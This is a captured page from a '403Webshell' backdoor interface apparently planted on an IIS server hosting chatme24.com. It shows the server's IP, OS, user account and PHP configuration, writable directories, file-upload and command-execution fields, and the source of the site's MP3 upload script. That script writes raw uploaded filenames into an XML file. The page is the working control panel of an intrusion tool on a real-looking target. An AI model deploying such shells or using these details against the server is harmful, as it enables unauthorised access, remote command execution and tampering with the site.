403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/chatme24.com/wwwroot/_server/editor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/chatme24.com/wwwroot/_server/editor/uploadmp.php
<?php
/* (C) Websplosion LLC, 2001-2021

IMPORTANT: This is a commercial software product
and any kind of using it must agree to the Websplosion's license agreement.
It can be found at http://www.chameleonsocial.com/license.doc

This notice may not be removed from the source code. */

ini_set("upload_max_filesize", "20M");
ini_set("post_max_size", "20M");

if (isset($_FILES['Filedata']['name']) and strtolower(pathinfo($_FILES['Filedata']['name'], PATHINFO_EXTENSION)) === 'mp3') {
	$uploadDir = dirname(__FILE__) . "/sound/";
	$uploadFile = $uploadDir . basename($_FILES['Filedata']['name']);
    move_uploaded_file($_FILES['Filedata']['tmp_name'], $uploadFile);
} else {
    die('ERROR');
}

$file_data = "music.xml";
$data_elements = file($file_data);
$new_data = "";

for ($i=0; $i<count($data_elements); $i++){
	if ($i < count($data_elements) - 1) {
		$new_data .= $data_elements[$i];
	} else {
		$new_data .= " <obj name_=\"" . $_FILES['Filedata']['name'] . "\" src=\"_server/editor/sound/"
                   . $_FILES['Filedata']['name'] . "\" />\r\n";
	}

}
$new_data .= $data_elements[count($data_elements)-1];

$f=fopen($file_data, "w");
fwrite($f, $new_data);
fclose($f);

Youez - 2016 - github.com/yon3zu
LinuXploit